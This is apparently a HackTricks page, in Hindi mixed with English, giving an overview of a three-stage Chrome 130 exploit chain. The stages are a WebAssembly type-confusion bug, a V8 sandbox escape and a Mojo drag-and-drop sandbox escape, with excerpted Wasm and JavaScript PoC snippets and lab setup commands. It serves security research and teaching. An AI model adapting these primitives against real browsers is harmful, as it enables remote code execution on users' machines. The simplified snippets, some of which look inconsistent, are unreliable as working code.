Chrome Exploiting

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

यह पृष्ठ Google Chrome 130 के खिलाफ आधुनिक “full-chain” exploitation वर्कफ़्लो का एक उच्च-स्तरीय परन्तु व्यावहारिक अवलोकन प्रदान करता है, जो शोध श्रृंखला “101 Chrome Exploitation” (Part-0 — Preface) पर आधारित है। उद्देश्य pentesters और exploit-developers को वह न्यूनतम पृष्ठभूमि देना है जो तकनीकों को अपने शोध के लिए पुन: उत्पन्न या अनुकूलित करने हेतु आवश्यक हो।

1. Chrome आर्किटेक्चर का पुनरावलोकन

attack surface को समझने के लिए यह जानना जरूरी है कि कोड कहाँ चलाया जाता है और कौन से सैंडबॉक्स लागू होते हैं।

Chrome प्रोसेस और सैंडबॉक्स की संरचना ```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```

कई परतों वाली रक्षा (defence-in-depth):

  • V8 sandbox (Isolate): मेमोरी अनुमतियाँ JITed JS / Wasm से arbitrary read/write को रोकने के लिए सीमित रहती हैं।
  • Renderer ↔ Browser split को Mojo/IPC message passing के माध्यम से सुनिश्चित किया जाता है; renderer के पास कोई native FS/network access नहीं है।
  • OS sandboxes प्रत्येक प्रोसेस को और सीमित करते हैं (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles)।

इसलिए एक दूरस्थ हमलावर को लगातार तीन primitives की आवश्यकता होती है:

  1. V8 के अंदर memory corruption ताकि V8 heap के अंदर arbitrary RW प्राप्त किया जा सके।
  2. एक दूसरा बग जो हमलावर को V8 sandbox से बाहर निकलकर पूरा renderer memory एक्सेस करने की अनुमति देता है।
  3. अंतिम sandbox-escape (अक्सर memory corruption की बजाय लॉजिक संबंधी) ताकि कोड Chrome OS sandbox के बाहर चलाया जा सके।

2. चरण 1 – WebAssembly Type-Confusion (CVE-2025-0291)

TurboFan की Turboshaft optimisation में एक दोष है जो WasmGC reference types को गलत तरीके से वर्गीकृत करती है जब value एक single basic block loop के भीतर उत्पन्न और उपयोग की जाती है।

प्रभाव:

  • कम्पाइलर type-check को स्किप कर देता है, और एक reference (externref/anyref) को int64 के रूप में मानता है।
  • निर्मित Wasm एक JS object header को attacker-controlled डेटा के साथ overlap करने की अनुमति देता है → addrOf() & fakeObj() AAW / AAR primitives।

न्यूनतम PoC (उद्धरण):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

ऑप्टिमाइज़ेशन ट्रिगर करें और JS से spray objects करें:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: arbitrary read/write within V8.

3. स्टेज 2 – V8 Sandbox से बाहर निकलना (issue 379140430)

जब एक Wasm function को tier-up-compiled किया जाता है, एक JS ↔ Wasm wrapper जनरेट होता है। एक signature-mismatch bug के कारण wrapper, जब Wasm function को re-optimised किया जाता है जब यह अभी भी stack पर है, एक trusted Tuple2 ऑब्जेक्ट के अंत के बाद भी लिख देता है।

Tuple2 ऑब्जेक्ट के 2 × 64-bit फील्ड्स को ओवरराइट करने से Renderer process के भीतर किसी भी address पर read/write मिल जाता है, जो प्रभावी रूप से V8 sandbox को बायपास कर देता है।

एक्सप्लॉइट के प्रमुख चरण:

  1. turbofan/baseline code को alternating करके function को Tier-Up state में लाएँ।
  2. एक reference को stack पर रखते हुए tier-up ट्रिगर करें (Function.prototype.apply)।
  3. निकटवर्ती Tuple2 को खोजने और करप्ट करने के लिए Stage-1 AAR/AAW का उपयोग करें।

Wrapper identification:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

After corruption के बाद हमारे पास एक fully-featured renderer R/W primitive मौजूद होता है।

4. स्टेज 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)

The Mojo IPC interface blink.mojom.DragService.startDragging() को Renderer से partially trusted parameters के साथ call किया जा सकता है। DragData structure को इस तरह से craft करके जो एक arbitrary file path की ओर इशारा करता हो, renderer browser को convince करता है कि वह renderer sandbox के बाहर एक native drag-and-drop करे।

Iska दुरुपयोग करके हम programmatically एक malicious EXE (जिसे पहले किसी world-writable location में drop किया गया हो) Desktop पर “drag” कर सकते हैं, जहाँ Windows कुछ file-types को drop होते ही अपने आप execute कर देता है।

Example (simplified):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

किसी अतिरिक्त मेमोरी करप्शन की आवश्यकता नहीं है – logic flaw हमें उपयोगकर्ता के privileges के साथ arbitrary file execution देता है।

5. पूर्ण चेन प्रवाह

  1. उपयोगकर्ता पहुँचता है दुर्भावनापूर्ण वेबपेज पर।
  2. चरण 1: Wasm module CVE-2025-0291 का दुरुपयोग करता है → V8 heap AAR/AAW।
  3. चरण 2: Wrapper mismatch Tuple2 को corrupt कर देता है → V8 sandbox से बाहर निकलता है।
  4. चरण 3: startDragging() IPC → OS sandbox से बाहर निकलना & execute payload।

परिणाम: Remote Code Execution (RCE) होस्ट पर (Chrome 130, Windows/Linux/macOS).

6. लैब और डिबगिंग सेटअप

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Chrome के development build लॉन्च करते समय उपयोगी flags:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

7. Renderer → kernel escape resource

जब किसी renderer exploit को ऐसा kernel pivot चाहिए जो seccomp profile के भीतर ही रहे, तो sandbox के अंदर अभी भी पहुँच योग्य AF_UNIX MSG_OOB sockets का दुरुपयोग एक निश्चित मार्ग प्रदान करता है। SKB UAF → kernel RCE chain के लिए नीचे Linux kernel exploitation case-study देखें:

Af Unix Msg Oob Uaf Skb Primitives

Takeaways

  • WebAssembly JIT bugs अभी भी एक विश्वसनीय entry-point हैं — type system अभी भी नया है।
  • V8 के अंदर दूसरा memory-corruption bug प्राप्त करना (उदा. wrapper mismatch) V8-sandbox escape को काफी सरल कर देता है।
  • Privileged Mojo IPC interfaces में logic-level कमजोरियाँ अक्सर एक final sandbox escape के लिए पर्याप्त होती हैं — non-memory bugs पर ध्यान रखें।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें